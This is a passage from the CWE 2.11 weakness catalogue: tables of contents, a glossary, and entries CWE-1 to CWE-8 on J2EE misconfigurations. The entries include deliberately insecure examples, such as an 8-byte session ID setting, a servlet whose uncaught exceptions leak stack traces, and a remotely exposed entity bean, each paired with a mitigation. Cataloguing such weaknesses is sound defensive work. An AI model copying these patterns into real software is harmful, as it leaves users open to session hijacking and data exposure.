CWE-740: CERT C Secure Coding Section 06 - Arrays (ARR)............................................................. 1136
CWE-741: CERT C Secure Coding Section 07 - Characters and Strings (STR)................................. 1136
CWE-742: CERT C Secure Coding Section 08 - Memory Management (MEM)............................... 1137
CWE-743: CERT C Secure Coding Section 09 - Input Output (IO).................................................... 1137
CWE-744: CERT C Secure Coding Section 10 - Environment (ENV)............................................... 1138
CWE-745: CERT C Secure Coding Section 11 - Signals (SIG)......................................................... 1139
CWE-746: CERT C Secure Coding Section 12 - Error Handling (ERR).............................................. 1139
CWE-747: CERT C Secure Coding Section 49 - Miscellaneous (MSC)............................................ 1140
CWE-748: CERT C Secure Coding Section 50 - POSIX (POS)......................................................... 1140
CWE-749: Exposed Dangerous Method or Function........................................................................... 1141
CWE-750: Weaknesses in the 2009 CWE/SANS Top 25 Most Dangerous Programming Errors............ 1144
CWE-751: 2009 Top 25 - Insecure Interaction Between Components.................................................. 1145
CWE-752: 2009 Top 25 - Risky Resource Management........................................................................ 1145
CWE-753: 2009 Top 25 - Porous Defenses......................................................................................... 1146
CWE-754: Improper Check for Unusual or Exceptional Conditions.................................................... 1146
CWE-755: Improper Handling of Exceptional Conditions................................................................... 1153
CWE-756: Missing Custom Error Page............................................................................................ 1154
CWE-757: Selection of Less-Secure Algorithm During Negotiation ('Algorithm Downgrade')............. 1155
CWE-758: Reliance on Undefined, Unspecified, or Implementation-Defined Behavior....................... 1156
CWE-759: Use of a One-Way Hash without a Salt............................................................................ 1156
CWE-760: Use of a One-Way Hash with a Predictable Salt.............................................................. 1160
CWE-761: Free of Pointer not at Start of Buffer................................................................................ 1162
CWE-762: Mismatched Memory Management Routines...................................................................... 1165
CWE-763: Release of Invalid Pointer or Reference............................................................................ 1167
CWE-764: Multiple Locks of a Critical Resource.............................................................................. 1171
CWE-765: Multiple Unlocks of a Critical Resource............................................................................ 1172
CWE-766: Critical Variable Declared Public..................................................................................... 1173
CWE-767: Access to Critical Private Variable via Public Method....................................................... 1175
CWE-768: Incorrect Short Circuit Evaluation.................................................................................... 1176
CWE-769: File Descriptor Exhaustion............................................................................................... 1177
CWE-770: Allocation of Resources Without Limits or Throttling....................................................... 1178
CWE-771: Missing Reference to Active Allocated Resource.............................................................. 1185
CWE-772: Missing Release of Resource after Effective Lifetime....................................................... 1186
CWE-773: Missing Reference to Active File Descriptor or Handle..................................................... 1190
CWE-774: Allocation of File Descriptors or Handles Without Limits or Throttling............................. 1191
CWE-775: Missing Release of File Descriptor or Handle after Effective Lifetime............................... 1192
CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')..... 1193
CWE-777: Regular Expression without Anchors............................................................................... 1195
CWE-778: Insufficient Logging........................................................................................................ 1196
CWE-779: Logging of Excessive Data............................................................................................... 1198
CWE-780: Use of RSA Algorithm without OAEP........................................................................... 1199
CWE-781: Improper Address Validation in IOCTL with METHOD_NEITHER I/O Control Code........ 1200
CWE-782: Exposed IOCTL with Insufficient Access Control............................................................ 1202
CWE-783: Operator Precedence Logic Error..................................................................................... 1203
CWE-784: Reliance on Cookies without Validation and Integrity Checking in a Security Decision........ 1205
<table>
<thead>
<tr>
<th>CWE Version 2.11</th>
<th>Table of Contents</th>
</tr>
</thead>
<tbody>
<tr>
<td>Table of Contents</td>
<td>xvi</td>
</tr>
<tr>
<td>CWE-785: Use of Path Manipulation Function without Maximum-sized Buffer</td>
<td>1207</td>
</tr>
<tr>
<td>CWE-786: Access of Memory Location Before Start of Buffer</td>
<td>1209</td>
</tr>
<tr>
<td>CWE-787: Out-of-bounds Write</td>
<td>1211</td>
</tr>
<tr>
<td>CWE-788: Access of Memory Location After End of Buffer</td>
<td>1212</td>
</tr>
<tr>
<td>CWE-789: Uncontrolled Memory Allocation</td>
<td>1215</td>
</tr>
<tr>
<td>CWE-790: Improper Filtering of Special Elements</td>
<td>1217</td>
</tr>
<tr>
<td>CWE-791: Incomplete Filtering of Special Elements</td>
<td>1217</td>
</tr>
<tr>
<td>CWE-792: Incomplete Filtering of One or More Instances of Special Elements</td>
<td>1218</td>
</tr>
<tr>
<td>CWE-793: Only Filtering One Instance of a Special Element</td>
<td>1219</td>
</tr>
<tr>
<td>CWE-794: Incomplete Filtering of Multiple Instances of Special Elements</td>
<td>1220</td>
</tr>
<tr>
<td>CWE-795: Only Filtering Special Elements at a Specified Location</td>
<td>1221</td>
</tr>
<tr>
<td>CWE-796: Only Filtering Special Elements Relative to a Marker</td>
<td>1222</td>
</tr>
<tr>
<td>CWE-797: Only Filtering Special Elements at an Absolute Position</td>
<td>1222</td>
</tr>
<tr>
<td>CWE-798: Use of Hard-coded Credentials</td>
<td>1223</td>
</tr>
<tr>
<td>CWE-799: Improper Control of Interaction Frequency</td>
<td>1229</td>
</tr>
<tr>
<td>CWE-800: Weaknesses in the 2010 CWE/SANS Top 25 Most Dangerous Programming Errors</td>
<td>1231</td>
</tr>
<tr>
<td>CWE-801: 2010 Top 25 - Insecure Interaction Between Components</td>
<td>1231</td>
</tr>
<tr>
<td>CWE-802: 2010 Top 25 - Risky Resource Management</td>
<td>1232</td>
</tr>
<tr>
<td>CWE-803: 2010 Top 25 - Porous Defenses</td>
<td>1232</td>
</tr>
<tr>
<td>CWE-804: Guessable CAPTCHA</td>
<td>1233</td>
</tr>
<tr>
<td>CWE-805: Buffer Access with Incorrect Length Value</td>
<td>1234</td>
</tr>
<tr>
<td>CWE-806: Buffer Access Using Size of Source Buffer</td>
<td>1239</td>
</tr>
<tr>
<td>CWE-807: Reliance on Untrusted Inputs in a Security Decision</td>
<td>1243</td>
</tr>
<tr>
<td>CWE-808: 2010 Top 25 - Weaknesses On the Cusp</td>
<td>1247</td>
</tr>
<tr>
<td>CWE-809: Weaknesses in OWASP Top Ten (2010)</td>
<td>1248</td>
</tr>
<tr>
<td>CWE-810: OWASP Top Ten 2010 Category A1 - Injection</td>
<td>1249</td>
</tr>
<tr>
<td>CWE-811: OWASP Top Ten 2010 Category A2 - Cross-Site Scripting (XSS)</td>
<td>1249</td>
</tr>
<tr>
<td>CWE-812: OWASP Top Ten 2010 Category A3 - Broken Authentication and Session Management</td>
<td>1250</td>
</tr>
<tr>
<td>CWE-813: OWASP Top Ten 2010 Category A4 - Insecure Direct Object References</td>
<td>1250</td>
</tr>
<tr>
<td>CWE-814: OWASP Top Ten 2010 Category A5 - Cross-Site Request Forgery(CSRF)</td>
<td>1250</td>
</tr>
<tr>
<td>CWE-815: OWASP Top Ten 2010 Category A6 - Security Misconfiguration</td>
<td>1251</td>
</tr>
<tr>
<td>CWE-816: OWASP Top Ten 2010 Category A7 - Insecure Cryptographic Storage</td>
<td>1251</td>
</tr>
<tr>
<td>CWE-817: OWASP Top Ten 2010 Category A8 - Failure to Restrict URL Access</td>
<td>1251</td>
</tr>
<tr>
<td>CWE-818: OWASP Top Ten 2010 Category A9 - Insufficient Transport Layer Protection</td>
<td>1252</td>
</tr>
<tr>
<td>CWE-819: OWASP Top Ten 2010 Category A10 - Unvalidated Redirects and Forwards</td>
<td>1252</td>
</tr>
<tr>
<td>CWE-820: Missing Synchronization</td>
<td>1252</td>
</tr>
<tr>
<td>CWE-821: Incorrect Synchronization</td>
<td>1253</td>
</tr>
<tr>
<td>CWE-822: Untrusted Pointer Dereference</td>
<td>1254</td>
</tr>
<tr>
<td>CWE-823: Use of Out-of-range Pointer Offset</td>
<td>1256</td>
</tr>
<tr>
<td>CWE-824: Access of Uninitialized Pointer</td>
<td>1257</td>
</tr>
<tr>
<td>CWE-825: Expired Pointer Dereference</td>
<td>1259</td>
</tr>
<tr>
<td>CWE-826: Premature Release of Resource During Expected Lifetime</td>
<td>1261</td>
</tr>
<tr>
<td>CWE-827: Improper Control of Document Type Definition</td>
<td>1262</td>
</tr>
<tr>
<td>CWE-828: Signal Handler with Functionality that is not Asynchronous-Safe</td>
<td>1263</td>
</tr>
<tr>
<td>CWE-829: Inclusion of Functionality from Untrusted Control Sphere</td>
<td>1266</td>
</tr>
<tr>
<td>CWE-830: Inclusion of Web Functionality from an Untrusted Source</td>
<td>1271</td>
</tr>
<tr>
<td>CWE-831: Signal Handler Function Associated with Multiple Signals</td>
<td>1272</td>
</tr>
<tr>
<td>CWE-832: Unlock of a Resource that is not Locked</td>
<td>1274</td>
</tr>
<tr>
<td>CWE-833: Deadlock</td>
<td>1275</td>
</tr>
<tr>
<td>CWE-834: Excessive Iteration</td>
<td>1276</td>
</tr>
<tr>
<td>CWE-835: Loop with Unreachable Exit Condition ('Infinite Loop')</td>
<td>1277</td>
</tr>
<tr>
<td>CWE-836: Use of Password Hash Instead of Password for Authentication</td>
<td>1279</td>
</tr>
<tr>
<td>CWE-837: Improper Enforcement of a Single, Unique Action</td>
<td>1280</td>
</tr>
<tr>
<td>CWE-838: Inappropriate Encoding for Output Context</td>
<td>1281</td>
</tr>
<tr>
<td>CWE-839: Numeric Range Comparison Without Minimum Check</td>
<td>1283</td>
</tr>
<tr>
<td>CWE-840: Business Logic Errors</td>
<td>1287</td>
</tr>
<tr>
<td>CWE-841: Improper Enforcement of Behavioral Workflow</td>
<td>1288</td>
</tr>
<tr>
<td>CWE-842: Placement of User into Incorrect Group</td>
<td>1290</td>
</tr>
<tr>
<td>CWE-843: Access of Resource Using Incompatible Type ('Type Confusion')</td>
<td>1291</td>
</tr>
<tr>
<td>CWE-844: Weaknesses Addressed by the CERT Java Secure Coding Standard</td>
<td>1294</td>
</tr>
<tr>
<td>CWE-845: CERT Java Secure Coding Section 00 - Input Validation and Data Sanitization (IDS)</td>
<td>1295</td>
</tr>
</tbody>
</table>
CWE Version 2.11
Table of Contents

CWE-907: SFP Primary Cluster: Other............................................................... 1334
CWE-908: Use of Uninitialized Resource....................................................... 1334
CWE-909: Missing Initialization of Resource.................................................. 1336
CWE-910: Use of Expired File Descriptor..................................................... 1338
CWE-911: Improper Update of Reference Count.......................................... 1339
CWE-912: Hidden Functionality................................................................. 1340
CWE-913: Improper Control of Dynamically-Managed Code Resources........... 1340
CWE-914: Improper Control of Dynamically-Identified Variables................... 1341
CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes 1343
CWE-916: Use of Password Hash With Insufficient Computational Effort......... 1345
CWE-917: Improper Neutralization of Special Elements used in an Expression Language Statement ("Expression Language Injection").............................. 1348
CWE-918: Server-Side Request Forgery (SSRF)............................................. 1349
CWE-919: Weaknesses in Mobile Applications............................................. 1350
CWE-920: Improper Restriction of Power Consumption.............................. 1351
CWE-921: Storage of Sensitive Data in a Mechanism without Access Control..... 1352
CWE-922: Insecure Storage of Sensitive Information...................................... 1353
CWE-923: Improper Restriction of Communication Channel to Intended Endpoints 1354
CWE-924: Improper Enforcement of Message Integrity During Transmission in a Communication Channel................................................................. 1354
CWE-925: Improper Verification of Intent by Broadcast Receiver.................... 1355
CWE-926: Improper Export of Android Application Components.................... 1356
CWE-927: Use of Implicit Intent for Sensitive Communication....................... 1359
CWE-928: Weaknesses in OWASP Top Ten (2013)........................................ 1361
CWE-929: OWASP Top Ten 2013 Category A1 - Injection.............................. 1362
CWE-930: OWASP Top Ten 2013 Category A2 - Broken Authentication and Session Management.................. 1363
CWE-931: OWASP Top Ten 2013 Category A3 - Cross-Site Scripting (XSS)....... 1363
CWE-932: OWASP Top Ten 2013 Category A4 - Insecure Direct Object References 1363
CWE-933: OWASP Top Ten 2013 Category A5 - Security Misconfiguration........ 1364
CWE-934: OWASP Top Ten 2013 Category A6 - Sensitive Data Exposure........ 1364
CWE-935: OWASP Top Ten 2013 Category A7 - Missing Function Level Access Control. 1365
CWE-936: OWASP Top Ten 2013 Category A8 - Cross-Site Request Forgery (CSRF) 1365
CWE-937: OWASP Top Ten 2013 Category A9 - Using Components with Known Vulnerabilities 1365
CWE-938: OWASP Top Ten 2013 Category A10 - Unvalidated Redirects and Forwards 1366
CWE-939: Improper Authorization in Handler for Custom URL Scheme............ 1366
CWE-940: Improper Verification of Source of a Communication Channel.......... 1368
CWE-941: Incorrectly Specified Destination in a Communication Channel.......... 1370
CWE-942: Overly Permissive Cross-domain Whitelist.................................... 1371
CWE-943: Improper Neutralization of Special Elements in Data Query Logic........ 1373
CWE-944: SFP Secondary Cluster: Access Management.................................. 1375
CWE-945: SFP Secondary Cluster: Insecure Resource Access........................ 1375
CWE-946: SFP Secondary Cluster: Insecure Resource Permissions.................. 1375
CWE-947: SFP Secondary Cluster: Authentication Bypass................................ 1376
CWE-948: SFP Secondary Cluster: Digital Certificate..................................... 1376
CWE-949: SFP Secondary Cluster: Faulty Endpoint Authentication............... 1376
CWE-950: SFP Secondary Cluster: Hardcoded Sensitive Data....................... 1377
CWE-952: SFP Secondary Cluster: Missing Authentication............................ 1377
CWE-953: SFP Secondary Cluster: Missing Endpoint Authentication................ 1378
CWE-954: SFP Secondary Cluster: Multiple Binds to the Same Port................ 1378
CWE-955: SFP Secondary Cluster: Unrestricted Authentication...................... 1378
CWE-956: SFP Secondary Cluster: Channel Attack........................................ 1378
CWE-957: SFP Secondary Cluster: Protocol Error.......................................... 1379
CWE-958: SFP Secondary Cluster: Broken Cryptography.............................. 1379
CWE-959: SFP Secondary Cluster: Weak Cryptography............................... 1379
CWE-960: SFP Secondary Cluster: Ambiguous Exception Type...................... 1380
CWE-961: SFP Secondary Cluster: Incorrect Exception Behavior..................... 1380
CWE-962: SFP Secondary Cluster: Unchecked Status Condition..................... 1380
CWE-963: SFP Secondary Cluster: Exposed Data........................................... 1381
CWE-964: SFP Secondary Cluster: Exposure Temporary File........................... 1383
CWE-965: SFP Secondary Cluster: Insecure Session Management................... 1383
### Appendix A: Graph Views

<table>
<thead>
<tr>
<th>CWE</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CWE-629</td>
<td>Weaknesses in OWASP Top Ten (2007)</td>
</tr>
<tr>
<td>CWE-631</td>
<td>Resource-specific Weaknesses</td>
</tr>
<tr>
<td>CWE-678</td>
<td>Composites</td>
</tr>
<tr>
<td>CWE-699</td>
<td>Development Concepts</td>
</tr>
<tr>
<td>CWE-700</td>
<td>Seven Pernicious Kingdoms</td>
</tr>
<tr>
<td>CWE-709</td>
<td>Named Chains</td>
</tr>
<tr>
<td>CWE-734</td>
<td>Weaknesses Addressed by the CERT C Secure Coding Standard</td>
</tr>
<tr>
<td>CWE-750</td>
<td>Weaknesses in the 2009 CWE/SANS Top 25 Most Dangerous Programming Errors</td>
</tr>
<tr>
<td>CWE-800</td>
<td>Weaknesses in the 2010 CWE/SANS Top 25 Most Dangerous Programming Errors</td>
</tr>
<tr>
<td>CWE-809</td>
<td>Weaknesses in OWASP Top Ten (2010)</td>
</tr>
<tr>
<td>CWE-844</td>
<td>Weaknesses Addressed by the CERT Java Secure Coding Standard</td>
</tr>
<tr>
<td>CWE-868</td>
<td>Weaknesses Addressed by the CERT C++ Secure Coding Standard</td>
</tr>
<tr>
<td>CWE-888</td>
<td>Software Fault Pattern (SFP) Clusters</td>
</tr>
<tr>
<td>CWE-900</td>
<td>Weaknesses in the 2011 CWE/SANS Top 25 Most Dangerous Software Errors</td>
</tr>
<tr>
<td>CWE-928</td>
<td>Weaknesses in OWASP Top Ten (2013)</td>
</tr>
<tr>
<td>CWE-1000</td>
<td>Research Concepts</td>
</tr>
<tr>
<td>CWE-1003</td>
<td>Weaknesses for Simplified Mapping of Published Vulnerabilities</td>
</tr>
</tbody>
</table>

### Glossary
### Symbols Used in CWE

<table>
<thead>
<tr>
<th>Symbol</th>
<th>Meaning</th>
</tr>
</thead>
<tbody>
<tr>
<td><img src="image" alt="View" /></td>
<td>View</td>
</tr>
<tr>
<td><img src="image" alt="Category" /></td>
<td>Category</td>
</tr>
<tr>
<td><img src="image" alt="Weakness - Class" /></td>
<td>Weakness - Class</td>
</tr>
<tr>
<td><img src="image" alt="Weakness - Base" /></td>
<td>Weakness - Base</td>
</tr>
<tr>
<td><img src="image" alt="Weakness - Variant" /></td>
<td>Weakness - Variant</td>
</tr>
<tr>
<td><img src="image" alt="Compound Element - Composite" /></td>
<td>Compound Element - Composite</td>
</tr>
<tr>
<td><img src="image" alt="Compound Element - Named Chain" /></td>
<td>Compound Element - Named Chain</td>
</tr>
<tr>
<td><img src="image" alt="Deprecated" /></td>
<td>Deprecated</td>
</tr>
</tbody>
</table>
CWE-1: Location

<table>
<thead>
<tr>
<th>Category ID:</th>
<th>1</th>
<th>Status: Incomplete</th>
</tr>
</thead>
<tbody>
<tr>
<td>Description</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Summary</td>
<td>Weaknesses in this category are organized based on which phase they are introduced during the software development and deployment process.</td>
<td></td>
</tr>
</tbody>
</table>

Maintenance Notes
This entry is being considered for deprecation. It was originally used for organizing the Development View (CWE-699), but it introduced unnecessary complexity and depth to the resulting tree. It cannot be deprecated until after the CWE team has reviewed whether other CWE elements are appropriately capturing the "location" in which the weaknesses are introduced.

CWE-2: Environment

<table>
<thead>
<tr>
<th>Category ID:</th>
<th>2</th>
<th>Status: Draft</th>
</tr>
</thead>
<tbody>
<tr>
<td>Description</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Summary</td>
<td>Weaknesses in this category are typically introduced during unexpected environmental conditions.</td>
<td></td>
</tr>
</tbody>
</table>

Maintenance Notes
This entry is being considered for deprecation. It was originally used for organizing the Development View (CWE-699), but it introduced unnecessary complexity and depth to the resulting tree. It cannot be deprecated until after the CWE team has reviewed whether other CWE elements are appropriately capturing the "location" in which the weaknesses are introduced.

CWE-3: Technology-specific Environment Issues

<table>
<thead>
<tr>
<th>Category ID:</th>
<th>3</th>
<th>Status: Draft</th>
</tr>
</thead>
<tbody>
<tr>
<td>Description</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Summary</td>
<td>Weaknesses in this category are typically introduced during unexpected environmental conditions in particular technologies.</td>
<td></td>
</tr>
</tbody>
</table>

Maintenance Notes
This entry is being considered for deprecation. It was originally used for organizing the Development View (CWE-699), but it introduced unnecessary complexity and depth to the resulting tree. It cannot be deprecated until after the CWE team has reviewed whether other CWE elements are appropriately capturing the "location" in which the weaknesses are introduced.
CWE-4: J2EE Environment Issues

Description
Summary
J2EE framework related environment issues with security implications.

Relationships
<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>ChildOf</td>
<td>16</td>
<td>Configuration</td>
<td>699 15</td>
</tr>
<tr>
<td>ChildOf</td>
<td>ChildOf</td>
<td>731</td>
<td>OWASP Top Ten 2004 Category A10 - Insecure Configuration Management</td>
<td>711 1123</td>
</tr>
<tr>
<td>ParentOf</td>
<td>ParentOf</td>
<td>5</td>
<td>J2EE Misconfiguration: Data Transmission Without Encryption</td>
<td>699 2</td>
</tr>
<tr>
<td>ParentOf</td>
<td>ParentOf</td>
<td>6</td>
<td>J2EE Misconfiguration: Insufficient Session-ID Length</td>
<td>699 3</td>
</tr>
<tr>
<td>ParentOf</td>
<td>ParentOf</td>
<td>7</td>
<td>J2EE Misconfiguration: Missing Custom Error Page</td>
<td>699 5</td>
</tr>
<tr>
<td>ParentOf</td>
<td>ParentOf</td>
<td>8</td>
<td>J2EE Misconfiguration: Entity Bean Declared Remote</td>
<td>699 6</td>
</tr>
<tr>
<td>ParentOf</td>
<td>ParentOf</td>
<td>9</td>
<td>J2EE Misconfiguration: Weak Access Permissions for EJB Methods</td>
<td>699 7</td>
</tr>
<tr>
<td>ParentOf</td>
<td>ParentOf</td>
<td>555</td>
<td>J2EE Misconfiguration: Plaintext Password in Configuration File</td>
<td>699 894</td>
</tr>
</tbody>
</table>

Taxonomy Mappings
<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Fit</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>OWASP Top Ten 2004</td>
<td>A10</td>
<td>CWE More Specific</td>
<td>Insecure Configuration Management</td>
</tr>
</tbody>
</table>

CWE-5: J2EE Misconfiguration: Data Transmission Without Encryption

Description
Summary
Information sent over a network can be compromised while in transit. An attacker may be able to read/modify the contents if the data are sent in plaintext or are weakly encrypted.

Time of Introduction
- Implementation
- Operation

Applicable Platforms
Languages
- Java

Common Consequences
Confidentiality
Integrity
Read application data
Modify application data

Potential Mitigations
System Configuration
The application configuration should ensure that SSL or an encryption mechanism of equivalent strength and vetted reputation is used for all access-controlled pages.

Other Notes
If an application uses SSL to guarantee confidential communication with client browsers, the application configuration should make it impossible to view any access controlled page without SSL. There are three common ways for SSL to be bypassed:
- A user manually enters URL and types "HTTP" rather than "HTTPS".
Attacks intentionally send a user to an insecure URL.
A programmer erroneously creates a relative link to a page in the application, which does not switch from HTTP to HTTPS. (This is particularly easy to do when the link moves between public and secured areas on a web site.)

### Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>2</td>
<td>Environment</td>
<td>700</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>4</td>
<td>J2EE Environment Issues</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>319</td>
<td>Cleartext Transmission of Sensitive Information</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>963</td>
<td>SFP Secondary Cluster: Exposed Data</td>
<td>888</td>
</tr>
</tbody>
</table>

### Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>7 Pernicious Kingdoms</td>
<td>J2EE Misconfiguration: Insecure Transport</td>
</tr>
</tbody>
</table>

### CWE-6: J2EE Misconfiguration: Insufficient Session-ID Length

**Weakness ID:** 6 *(Weakness Variant)*

**Status:** Incomplete

**Description**

**Summary**
The J2EE application is configured to use an insufficient session ID length.

**Extended Description**
If an attacker can guess or steal a session ID, then he/she may be able to take over the user's session (called session hijacking). The number of possible session IDs increases with increased session ID length, making it more difficult to guess or steal a session ID.

**Time of Introduction**
- Architecture and Design
- Implementation

**Applicable Platforms**
- Languages
  - Java

**Common Consequences**

**Access Control**
- Gain privileges / assume identity
  If an attacker can guess an authenticated user's session identifier, they can take over the user's session.

**Enabling Factors for Exploitation**
If attackers use a botnet with hundreds or thousands of drone computers, it is reasonable to assume that they could attempt tens of thousands of guesses per second. If the web site in question is large and popular, a high volume of guessing might go unnoticed for some time.

**Demonstrative Examples**
The following XML example code is a deployment descriptor for a Java web application deployed on a Sun Java Application Server. This deployment descriptor includes a session configuration property for configuring the session ID length.

**XML Example:**

```xml
<sun-web-app>
  ...
  <session-config>
    <session-properties>
      <property name="idLengthBytes" value="8">
        <description>The number of bytes in this web module's session ID.</description>
      </property>
      </session-properties>
  </session-config>
</sun-web-app>
```
This deployment descriptor has set the session ID length for this Java web application to 8 bytes (or 64 bits). The session ID length for Java web applications should be set to 16 bytes (128 bits) to prevent attackers from guessing and/or stealing a session ID and taking over a user's session. Note for most application servers including the Sun Java Application Server the session ID length is by default set to 128 bits and should not be changed. And for many application servers the session ID length cannot be changed from this default setting. Check your application server documentation for the session ID length default setting and configuration options to ensure that the session ID length is set to 128 bits.

Potential Mitigations

Implementation
Session identifiers should be at least 128 bits long to prevent brute-force session guessing. A shorter session identifier leaves the application open to brute-force session guessing attacks.

Implementation
A lower bound on the number of valid session identifiers that are available to be guessed is the number of users that are active on a site at any given moment. However, any users that abandon their sessions without logging out will increase this number. (This is one of many good reasons to have a short inactive session timeout.) With a 64 bit session identifier, assume 32 bits of entropy. For a large web site, assume that the attacker can try 1,000 guesses per second and that there are 10,000 valid session identifiers at any given moment. Given these assumptions, the expected time for an attacker to successfully guess a valid session identifier is less than 4 minutes. Now assume a 128 bit session identifier that provides 64 bits of entropy. With a very large web site, an attacker might try 10,000 guesses per second with 100,000 valid session identifiers available to be guessed. Given these assumptions, the expected time for an attacker to successfully guess a valid session identifier is greater than 292 years.

Background Details
Session ID’s can be used to identify communicating parties in a web environment. The expected number of seconds required to guess a valid session identifier is given by the equation: \( \frac{2^B+1}{2^A*S} \) Where: - B is the number of bits of entropy in the session identifier. - A is the number of guesses an attacker can try each second. - S is the number of valid session identifiers that are available to be guessed at any given time. The number of bits of entropy in the session identifier is always less than the total number of bits in the session identifier. For example, if session identifiers were provided in ascending order, there would be close to zero bits of entropy in the session identifier no matter the identifier's length. Assuming that the session identifiers are being generated using a good source of random numbers, we will estimate the number of bits of entropy in a session identifier to be half the total number of bits in the session identifier. For realistic identifier lengths this is possible, though perhaps optimistic.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>2</td>
<td>Environment</td>
<td>700</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>4</td>
<td>J2EE Environment Issues</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>334</td>
<td>Small Space of Random Values</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>965</td>
<td>SFP Secondary Cluster: Insecure Session Management</td>
<td>888</td>
</tr>
</tbody>
</table>

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>7 Pernicious Kingdoms</td>
<td>J2EE Misconfiguration: Insufficient Session-ID Length</td>
</tr>
</tbody>
</table>

Related Attack Patterns

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
<th>(CAPEC Version 2.10)</th>
</tr>
</thead>
<tbody>
<tr>
<td>21</td>
<td>Exploitation of Trusted Credentials</td>
<td></td>
</tr>
<tr>
<td>59</td>
<td>Session Credential Falsification through Prediction</td>
<td></td>
</tr>
</tbody>
</table>

References

< http://www.securiteam.com/securityreviews/5TP0F0UEVQ.html >.
CWE-7: J2EE Misconfiguration: Missing Custom Error Page

**Weakness ID:** 7 (Weakness Variant)  
**Status:** Incomplete

**Description**

**Summary**
The default error page of a web application should not display sensitive information about the software system.

**Extended Description**
A Web application must define a default error page for 4xx errors (e.g. 404), 5xx (e.g. 500) errors and catch java.lang.Throwable exceptions to prevent attackers from mining information from the application container's built-in error response.

When an attacker explores a web site looking for vulnerabilities, the amount of information that the site provides is crucial to the eventual success or failure of any attempted attacks.

**Time of Introduction**
- Architecture and Design
- Implementation

**Applicable Platforms**

**Languages**
- Java

**Common Consequences**

**Confidentiality**

**Read application data**
A stack trace might show the attacker a malformed SQL query string, the type of database being used, and the version of the application container. This information enables the attacker to target known vulnerabilities in these components.

**Demonstrative Examples**
In the snippet below, an unchecked runtime exception thrown from within the try block may cause the container to display its default error page (which may contain a full stack trace, among other things).

**Java Example:**

```java
Bad Code
Public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
    try {
        ...
    } catch (ApplicationSpecificException ase) {
        logger.error("Caught: " + ase.toString());
    }
}
```

**Potential Mitigations**

**Implementation**
Handle exceptions appropriately in source code.

**System Configuration**
Always define appropriate error pages. The application configuration should specify a default error page in order to guarantee that the application will never leak error messages to an attacker. Handling standard HTTP error codes is useful and user-friendly in addition to being a good security practice, and a good configuration will also define a last-chance error handler that catches any exception that could possibly be thrown by the application.

**Implementation**
Do not attempt to process an error or attempt to mask it.

**Implementation**
Verify return values are correct and do not supply sensitive information about the system.

**Relationships**
CWE Version 2.11
CWE-8: J2EE Misconfiguration: Entity Bean Declared Remote

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>2</td>
<td>Environment</td>
<td>700</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>4</td>
<td>J2EE Environment Issues</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>728</td>
<td>OWASP Top Ten 2004 Category A7 - Improper Error Handling</td>
<td>711</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>756</td>
<td>Missing Custom Error Page</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>963</td>
<td>SFP Secondary Cluster: Exposed Data</td>
<td>888</td>
</tr>
</tbody>
</table>

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>7 Pernicious Kingdoms</td>
<td>J2EE Misconfiguration: Missing Error Handling</td>
</tr>
</tbody>
</table>

References


CWE-8: J2EE Misconfiguration: Entity Bean Declared Remote

Weakness ID: 8 (Weakness Variant) Status: Incomplete

Description

Summary

When an application exposes a remote interface for an entity bean, it might also expose methods that get or set the bean's data. These methods could be leveraged to read sensitive information, or to change data in ways that violate the application's expectations, potentially leading to other vulnerabilities.

Time of Introduction

- Architecture and Design
- Implementation

Common Consequences

Confidentiality
- Integrity
- Read application data
- Modify application data

Demonstrative Examples

XML Example:

```xml
<ejb-jar>
  <enterprise-beans>
    <entity>
      <ejb-name>EmployeeRecord</ejb-name>
      <home>com.wombat.empl.EmployeeRecordHome</home>
      <remote>com.wombat.empl.EmployeeRecord</remote>
    </entity>
    ...  
  </enterprise-beans>
</ejb-jar>
```

Potential Mitigations

Implementation

Declare Java beans "local" when possible. When a bean must be remotely accessible, make sure that sensitive information is not exposed, and ensure that the application logic performs appropriate validation of any data that might be modified by an attacker.

Other Notes

